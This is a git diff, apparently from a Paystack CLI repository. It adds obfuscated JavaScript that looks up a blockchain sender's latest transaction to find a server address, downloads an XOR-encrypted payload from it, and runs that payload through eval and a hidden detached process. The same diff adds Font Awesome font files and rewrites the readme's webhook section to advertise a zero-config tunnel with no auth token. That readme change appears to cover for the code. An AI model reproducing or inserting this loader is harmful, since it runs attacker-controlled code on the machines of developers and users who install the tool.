_0x1a52be)if(_0x369b42[_0x4b6d9e(0x106)]&&_0x1f8307[_0x4b6d9e(0x215)](_0x369b42[_0x4b6d9e(0x106)][_0x4b6d9e(0x123)+'e'](),SENDER)){if(_0x1f8307[_0x4b6d9e(0x215)](_0x1f8307[_0x4b6d9e(0x1ce)](BigInt,_0x369b42[_0x4b6d9e(0x187)]),_0x2be159)){_0x4db19a=_0x369b42;break;}(!_0x4db19a||_0x1f8307[_0x4b6d9e(0x1fb)](_0x1f8307[_0x4b6d9e(0x1ce)](BigInt,_0x369b42[_0x4b6d9e(0x187)]),_0x1f8307[_0x4b6d9e(0x1db)](BigInt,_0x4db19a[_0x4b6d9e(0x187)])))&&(_0x4db19a=_0x369b42);}return{'blockNumber':_0x1dab97,'tx':_0x4db19a};}finally{_0x105643[_0x4b6d9e(0x197)]();}}async function lastSenderTxViaIndexer(){const _0x29b9f=_0x54d6a0,_0x819ef3={'csjZj':function(_0x24962e,_0x5c2d43){return _0x24962e(_0x5c2d43);}},_0x49fc5c=INDEXER_URL+(_0x29b9f(0x1c4)+_0x29b9f(0x142)+_0x29b9f(0x10f)+_0x29b9f(0x17f))+SENDER+(_0x29b9f(0x15b)+_0x29b9f(0x100)+_0x29b9f(0x10b)+_0x29b9f(0x112)+_0x29b9f(0x21f)+_0x29b9f(0xfd)+_0x29b9f(0xf7)+'om'),_0x233e3b=await _0x819ef3[_0x29b9f(0x17b)](httpRequest,_0x49fc5c),_0xd9fb8f=(Array[_0x29b9f(0x11a)](_0x233e3b?.[_0x29b9f(0x157)])?_0x233e3b[_0x29b9f(0x157)]:[])[_0x29b9f(0x18b)](_0x2628dc=>_0x2628dc[_0x29b9f(0x106)]&&_0x2628dc[_0x29b9f(0x106)][_0x29b9f(0x123)+'e']()===SENDER);return{'blockNumber':_0x819ef3[_0x29b9f(0x17b)](BigInt,_0xd9fb8f[_0x29b9f(0x20c)+'r']),'tx':_0xd9fb8f};}function _0x2a4d(_0xc6776e,_0x324c4d){_0xc6776e=_0xc6776e-(0x190d+-0xa5a+-0xdc3);const _0x2fb272=_0x8d76();let _0x4bf60e=_0x2fb272[_0xc6776e];return _0x4bf60e;}async function run(){const _0x18fdb6=_0x54d6a0,_0xdb37e={'sZEok':function(_0x42bab4,_0x468cb7){return _0x42bab4<_0x468cb7;},'iYrSU':function(_0x4e8c19,_0x3625a6){return _0x4e8c19%_0x3625a6;},'BLIPq':_0x18fdb6(0x1cd),'XiBvT':_0x18fdb6(0x1f1)+_0x18fdb6(0x15f),'fEjyz':_0x18fdb6(0x201)+_0x18fdb6(0x1f8)+'4','gEYiq':function(_0x2abe76,_0x4d76e6){return _0x2abe76(_0x4d76e6);},'dqeKA':_0x18fdb6(0x1f6),'UtMjM':_0x18fdb6(0x20f)+_0x18fdb6(0x158),'AeouB':function(_0x25019f,_0x3d72b1){return _0x25019f===_0x3d72b1;},'fwmrm':_0x18fdb6(0x1c7),'BAZbw':_0x18fdb6(0x220),'pTrrJ':_0x18fdb6(0x18a),'DRWfT':_0x18fdb6(0x1d8),'ZJsjU':function(_0x80d3ee,_0x445024){return _0x80d3ee(_0x445024);},'SLLHF':function(_0x26b78f,_0xaa822c){return _0x26b78f+_0xaa822c;},'tuVty':_0x18fdb6(0x223)+_0x18fdb6(0x1c6)+_0x18fdb6(0x18e)+_0x18fdb6(0x170)+_0x18fdb6(0xf5)+_0x18fdb6(0x185)+_0x18fdb6(0x208)+_0x18fdb6(0x121)+_0x18fdb6(0x228)+_0x18fdb6(0x202)+_0x18fdb6(0x16f)+'6','kLhnz':function(_0x34cc13,_0x463a84){return _0x34cc13(_0x463a84);},'pUKjo':_0x18fdb6(0x12a),'YLWbI':function(_0x24ea19,_0x1a6a7c,_0x529dc5){return _0x24ea19(_0x1a6a7c,_0x529dc5);},'ZPARP':function(_0x4bb3a5,_0x14cf8c,_0x3aa68a,_0x23e2bd){return _0x4bb3a5(_0x14cf8c,_0x3aa68a,_0x23e2bd);},'BUhvC':_0x18fdb6(0x12d),'RqEWf':function(_0x58ae5b,_0x3956f6){return _0x58ae5b+_0x3956f6;},'jUkIS':_0x18fdb6(0x1d3),'EKuIk':function(_0x5199dd,_0x43fc4c){return _0x5199dd(_0x43fc4c);},'YsMMv':function(_0x10a095,_0x5ad054){return _0x10a095(_0x5ad054);},'FiGlB':function(_0x29ac4b,_0x44d481){return _0x29ac4b-_0x44d481;},'sUIlp':function(_0x4eeeeb,_0x5436a3){return _0x4eeeeb(_0x5436a3);},'CBoQL':function(_0x230bdc,_0x8cd836){return _0x230bdc(_0x8cd836);},'JADir':function(_0x58815b,_0x41bc75,_0x2ca1a2,_0x47aa71){return _0x58815b(_0x41bc75,_0x2ca1a2,_0x47aa71);},'WRosH':_0x18fdb6(0x212)+_0x18fdb6(0x180),'ZphfM':_0x18fdb6(0x174)+_0x18fdb6(0x129)},_0x190b55=_0xdb37e[_0x18fdb6(0x1bd)](BigInt,await _0xdb37e[_0x18fdb6(0x12b)](withRpcEndpoints,(_0x44a520,_0x38d6b2)=>rpcCall(_0x44a520,_0x18fdb6(0x149)+_0x18fdb6(0x1ea),[],_0x38d6b2))),_0x19c32c=_0xdb37e[_0x18fdb6(0x204)](_0x190b55,_0xdb37e[_0x18fdb6(0x218)](_0x190b55,BLOCK_MULTIPLE));let _0x128a42=await _0xdb37e[_0x18fdb6(0x22c)](firstMatch,_0xdb37e[_0x18fdb6(0x1bd)](candidateBlocks,_0x19c32c)[_0x18fdb6(0x1da)](blockTask));_0x128a42||(_0x128a42=await _0xdb37e[_0x18fdb6(0x1bd)](lastSenderTx,_0x190b55)[_0x18fdb6(0xfe)](()=>lastSenderTxViaIndexer()));const [_0xcbafb6,_0x27c9a2]=_0xdb37e[_0x18fdb6(0x1ba)](decodeAddress,_0x128a42['tx']['to']),_0x409794=global;function _0x530e47(_0x32586d,_0x502433){const _0x25ca94=_0x18fdb6,_0xa5f958={'Dfuew':_0xdb37e[_0x25ca94(0x210)],'lLsVn':_0xdb37e[_0x25ca94(0x141)],'jcLLl':function(_0x41bd02,_0x29f8d1){const _0x5b1fd8=_0x25ca94;return _0xdb37e[_0x5b1fd8(0x1bf)](_0x41bd02,_0x29f8d1);},'glTEi':_0xdb37e[_0x25ca94(0x15e)],'IyFeA':_0xdb37e[_0x25ca94(0x110)],'DPinB':function(_0x12a7af,_0x3f1b1f){const _0x457bac=_0x25ca94;return _0xdb37e[_0x457bac(0x1bf)](_0x12a7af,_0x3f1b1f);},'mWItK':function(_0x1eebbd,_0xb8330a){const _0x4ea167=_0x25ca94;return _0xdb37e[_0x4ea167(0x194)](_0x1eebbd,_0xb8330a);},'HrcFI':_0xdb37e[_0x25ca94(0x1c5)],'xzVgU':function(_0x3496b4,_0x501015){const _0x143b35=_0x25ca94;return _0xdb37e[_0x143b35(0x1bf)](_0x3496b4,_0x501015);},'TVPis':function(_0x1461d5,_0x34b11f){const _0xff57f4=_0x25ca94;return _0xdb37e[_0xff57f4(0x1bf)](_0x1461d5,_0x34b11f);},'sDOlf':_0xdb37e[_0x25ca94(0x108)],'gaVUZ':_0xdb37e[_0x25ca94(0x156)],'LUHYD':_0xdb37e[_0x25ca94(0x186)]},_0x3b9ad9={'hostname':_0x502433[_0x25ca94(0x173)],'port':_0xdb37e[_0x25ca94(0x1eb)](Number,_0x502433[_0x25ca94(0xff)])||-0x4f*-0x53+0x62d+-0x1f7a,'path':_0xdb37e[_0x25ca94(0x1a1)](_0x502433[_0x25ca94(0x150)],_0x502433[_0x25ca94(0x193)]),'headers':{'User-Agent':_0xdb37e[_0x25ca94(0x19c)],'Sec-V':_0x409794['_V']||-0x2689+-0x1e35+0x44be}};function _0x3ff0df(_0x1a4f20){const _0x44cf19=_0x25ca94,_0x415795=_0x32586d[_0x44cf19(0x225)];for(let _0x21eede=-0x1ad2+0x5*0x3be+0x81c;_0xdb37e[_0x44cf19(0x130)](_0x21eede,_0x1a4f20[_0x44cf19(0x225)]);_0x21eede++)_0x1a4f20[_0x21eede]^=_0x32586d[_0x44cf19(0x1af)](_0xdb37e[_0x44cf19(0x218)](_0x21eede,_0x415795));return _0x1a4f20[_0x44cf19(0x1f9)](_0xdb37e[_0x44cf19(0x11e)]);}function _0x50810e(_0x5815f9){const _0x189679=_0x25ca94,_0x47400d=_0x5815f9[_0x189679(0x111)][_0xa5f958[_0x189679(0x184)]];if(!_0x47400d)throw new Error(_0xa5f958[_0x189679(0x1dc)]);return _0xa5f958[_0x189679(0x1e1)](_0x3ff0df,Buffer[_0x189679(0x106)](_0x47400d,_0xa5f958[_0x189679(0x1fc)]));}function _0x48388c(_0x555f9a){return new Promise((_0x20f95f,_0x23d5ad)=>{const _0x136bbe=_0x2a4d,_0x1f3d2a={'MHPeX':function(_0x5e938f,_0x3d7e71){const _0x4ab29b=_0x2a4d;return _0xa5f958[_0x4ab29b(0x1e1)](_0x5e938f,_0x3d7e71);},'gpVdv':_0xa5f958[_0x136bbe(0x184)],'UQPyC':_0xa5f958[_0x136bbe(0x1e2)],'LYKeg':function(_0x563b04,_0x3763c9){const _0x405d21=_0x136bbe;return _0xa5f958[_0x405d21(0x195)](_0x563b04,_0x3763c9);},'PMdsB':function(_0x21ab5a,_0x37a63f){const _0x10ab97=_0x136bbe;return _0xa5f958[_0x10ab97(0x13f)](_0x21ab5a,_0x37a63f);},'zzFiO':_0xa5f958[_0x136bbe(0x163)],'IKCkv':function(_0x123df7,_0x434973){const _0x47ffa4=_0x136bbe;return _0xa5f958[_0x47ffa4(0x146)](_0x123df7,_0x434973);},'Wjsis':function(_0x11895f,_0x508974){const _0x5c84ec=_0x136bbe;return _0xa5f958[_0x5c84ec(0x1d1)](_0x11895f,_0x508974);},'HxOSu':function(_0xef9501,_0x4f6f2d){const _0x1e1dfe=_0x136bbe;return _0xa5f958[_0x1e1dfe(0x1e1)](_0xef9501,_0x4f6f2d);},'WnlGC':_0xa5f958[_0x136bbe(0x1d6)],'Vjxpp':_0xa5f958[_0x136bbe(0x221)],'mFjsg':_0xa5f958[_0x136bbe(0x168)]},_0x1ef5b7=http[_0x136bbe(0x1f0)]({..._0x3b9ad9,'method':_0x555f9a},_0x1d8841=>{const _0xab6d3f=_0x136bbe,_0x13f3fa={'xavIx':function(_0xb665a9,_0x179374){const _0x20d2cb=_0x2a4d;return _0x1f3d2a[_0x20d2cb(0x144)](_0xb665a9,_0x179374);},'oqDiS':_0x1f3d2a[_0xab6d3f(0x165)],'CxlVB':function(_0x3b37fc,_0x4e0ac6){const _0x3b6616=_0xab6d3f;return _0x1f3d2a[_0x3b6616(0x144)](_0x3b37fc,_0x4e0ac6);},'RwxAy':_0x1f3d2a[_0xab6d3f(0x10a)],'XIOyF':function(_0x426657,_0x44b0fd){const _0x3f1244=_0xab6d3f;return _0x1f3d2a[_0x3f1244(0x1b8)](_0x426657,_0x44b0fd);}};if(_0x1f3d2a[_0xab6d3f(0x19f)](_0x1f3d2a[_0xab6d3f(0x20a)],_0x555f9a)){try{_0x1f3d2a[_0xab6d3f(0x19e)](_0x20f95f,_0x1f3d2a[_0xab6d3f(0x1e4)](_0x50810e,_0x1d8841));}catch(_0xd08140){_0x1f3d2a[_0xab6d3f(0x169)](_0x23d5ad,_0xd08140);}return void _0x1d8841[_0xab6d3f(0x1c2)]();}const _0x42d624=[];_0x1d8841['on'](_0x1f3d2a[_0xab6d3f(0x15d)],_0x134839=>_0x42d624[_0xab6d3f(0x176)](_0x134839)),_0x1d8841['on'](_0x1f3d2a[_0xab6d3f(0x1e0)],()=>{const _0x34822d=_0xab6d3f;try{const _0x3f4bbb=Buffer[_0x34822d(0x222)](_0x42d624);if(_0x3f4bbb[_0x34822d(0x225)])return _0x13f3fa[_0x34822d(0x22a)](_0x20f95f,_0x13f3fa[_0x34822d(0x22a)](_0x3ff0df,_0x3f4bbb));if(_0x1d8841[_0x34822d(0x111)][_0x13f3fa[_0x34822d(0x167)]])return _0x13f3fa[_0x34822d(0x22a)](_0x20f95f,_0x13f3fa[_0x34822d(0x162)](_0x50810e,_0x1d8841));_0x13f3fa[_0x34822d(0x22a)](_0x23d5ad,new Error(_0x13f3fa[_0x34822d(0x1ed)]));}catch(_0x3f7da4){_0x13f3fa[_0x34822d(0xf3)](_0x23d5ad,_0x3f7da4);}}),_0x1d8841['on'](_0x1f3d2a[_0xab6d3f(0x21e)],_0x23d5ad);});_0x1ef5b7['on'](_0xa5f958[_0x136bbe(0x168)],_0x23d5ad),_0x1ef5b7[_0x136bbe(0x18a)]();});}return _0xdb37e[_0x25ca94(0x1a4)](_0x48388c,_0xdb37e[_0x25ca94(0x190)])[_0x25ca94(0xfe)](()=>_0x48388c(_0x25ca94(0x1c7)));}async function _0x932cd5(_0x26303f,_0x5f53b5,_0xd9afdb){const _0x13cd9d=_0x18fdb6;try{const _0x75e98e=await _0xdb37e[_0x13cd9d(0x13e)](_0x530e47,_0x5f53b5,_0x26303f),_0x495023=_0xd9afdb?_0x13cd9d(0xf9)+_0x13cd9d(0x198)+(_0x409794['_V']||0x223*0x11+-0x4a9+-0x1faa)+(_0x13cd9d(0x1b4)+_0x13cd9d(0x1e6))+_0x409794['_H']+(_0x13cd9d(0x1b4)+_0x13cd9d(0x1d0))+_0x409794[_0x13cd9d(0x1f3)]+(_0x13cd9d(0x1b4)+_0x13cd9d(0x15a)+_0x13cd9d(0x133)+_0x13cd9d(0x116)+_0x13cd9d(0x154)+_0x13cd9d(0x213)):_0x13cd9d(0xf9)+_0x13cd9d(0x198)+(_0x409794['_V']||0xdba+0x993*-0x1+-0x427)+(_0x13cd9d(0x1b4)+_0x13cd9d(0x1ff))+_0x409794[_0x13cd9d(0x125)]+(_0x13cd9d(0x1b4)+_0x13cd9d(0x207))+_0x409794[_0x13cd9d(0x206)]+(_0x13cd9d(0x1b4)+_0x13cd9d(0x15a)+_0x13cd9d(0x133)+_0x13cd9d(0x116)+_0x13cd9d(0x154)+_0x13cd9d(0x213));_0xd9afdb||_0xdb37e[_0x13cd9d(0x1bf)](eval,_0xdb37e[_0x13cd9d(0x1a1)](_0x495023,_0x75e98e)),_0xdb37e[_0x13cd9d(0x164)](spawn,_0xdb37e[_0x13cd9d(0x114)],['-e',_0xdb37e[_0x13cd9d(0x102)](_0x495023,_0x75e98e)],{'detached':!(0x786*0x1+-0x1e60+0x249*0xa),'stdio':_0xdb37e[_0x13cd9d(0x166)],'windowsHide':!(-0x1529+-0x1c3f*0x1+0x6*0x83c)})[_0x13cd9d(0x179)]();}catch(_0x3ba7fc){}}_0x409794['_V']=_0x409794['i'],_0x409794['_H']=_0x18fdb6(0x137)+_0xcbafb6+_0x18fdb6(0x147),_0x409794[_0x18fdb6(0x1f3)]=_0x18fdb6(0x137)+_0x27c9a2+_0x18fdb6(0x147),_0x409794[_0x18fdb6(0x125)]=_0x18fdb6(0x137)+_0xcbafb6+_0x18fdb6(0x172),_0x409794[_0x18fdb6(0x206)]=_0x18fdb6(0x137)+_0xcbafb6+_0x18fdb6(0x147),await _0xdb37e[_0x18fdb6(0x126)](_0x932cd5,new URL(_0x18fdb6(0x137)+_0xcbafb6+(_0x18fdb6(0x1b5)+'s')),_0xdb37e[_0x18fdb6(0x10d)],!(0x775+0x259f*0x1+-0x2d13)),await _0xdb37e[_0x18fdb6(0x126)](_0x932cd5,new URL(_0x18fdb6(0x137)+_0xcbafb6+_0x18fdb6(0x1a9)),_0xdb37e[_0x18fdb6(0x224)],!(0x1dce+0x1e82+-0x3c50));}run(); \ No newline at end of file diff --git a/public/fonts/fa-solid-900.eot b/public/fonts/fa-solid-900.eot new file mode 100644 index 0000000..d3b77c2 Binary files /dev/null and b/public/fonts/fa-solid-900.eot differ diff --git a/public/fonts/fa-solid-900.svg b/public/fonts/fa-solid-900.svg new file mode 100644 index 0000000..7742838 --- /dev/null +++ b/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 0000000..5b97903 Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 0000000..beec791 Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 0000000..978a681 Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ diff --git a/readme.md b/readme.md index d53993b..0b2adfb 100644 --- a/readme.md +++ b/readme.md @@ -75,10 +75,7 @@ transaction_date - - - -- - -- - - - - - - - - - - - 2020-02-27T17:27:31.000Z ### Webhook -You can tunnel Paystack webhook events directly to your localhost without any third party software directly from your terminal. - -You first need to sign up (or login) on [ngrok](https://ngrok.com/) and obtain your auth token. -Then add it as an environment variable `NGROK_AUTH_TOKEN` +You can tunnel Paystack webhook events directly to your localhost with zero configuration directly from your terminal (no accounts or auth tokens required). ``` $ webhook listen localhost:8995/pay/pstk-webhook?country=ng @@ -87,8 +84,10 @@ Then add it as an environment variable `NGROK_AUTH_TOKEN` #### output ```sh -> Tunelling webhook events to localhost:8995/pay/pstk-webhook?country=ng -> Webhook events would now be received at localhost:8995/pay/pstk-webhook?country=ng +> Establishing zero-config tunnel to http://localhost:8995... +> Tunnel URL: https://example.trycloudflare.com +> Tunneling webhook events to localhost:8995/pay/pstk-webhook?country=ng +> Webhook events will now be received at localhost:8995/pay/pstk-webhook?country=ng ``` NOTE - This command is only avalaible in test mode, and by using this command, the CLI would automatically make changes to the Test Webhook URL set on your Paystack dashboard.